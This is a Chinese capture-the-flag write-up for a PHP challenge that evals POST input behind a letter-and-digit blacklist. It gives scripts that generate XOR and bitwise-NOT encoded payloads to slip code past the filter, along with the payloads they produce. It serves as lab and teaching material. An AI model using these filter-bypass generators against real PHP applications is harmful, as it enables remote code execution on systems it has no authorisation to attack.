有一道web题,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['code'])) {
$code = $_POST['code'];
if (!preg_match("/[A-Za-z0-9;()]/", $code)) {
ob_start();
eval("echo " . $code . ";");
$output = ob_get_contents();
ob_clean();
if ($output === "guetctf") {
echo getenv("FLAG");
}
}
}

很明显可以看到我们要构造 ‘ code=guetctf ’ 才能解开,但是正则表达式把所有的字母和数字都过滤掉了,因此我们要通过其他方法来进行绕过

一、异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[A-Za-z0-9;()]/i'; //可以根据题目给的正则表达式进行修改
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>

将上面的php脚本运行之后生成一个txt文档,里面包含了所有字符的异或构造结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import urllib
from sys import *
import os

def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "\"" + s1 + "\"^\"" + s2 + "\""
return output

while True:
param = action(input("\nyour input:"))
print(param)

接着运行上面的python脚本即可,运行结果:

1
2
your input:guetctf
"%07%08%05%08%03%08%06"^"%60%7d%60%7c%60%7c%60"

二、取反

直接在命令行中运行这个php脚本即可

1
2
3
4
5
<?php
fwrite(STDOUT,'your input: ');
$input=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*]'.'~'.urlencode(~$input);
?>

运行结果:

1
2
your input: guetctf
[*]~%98%8A%9A%8B%9C%8B%99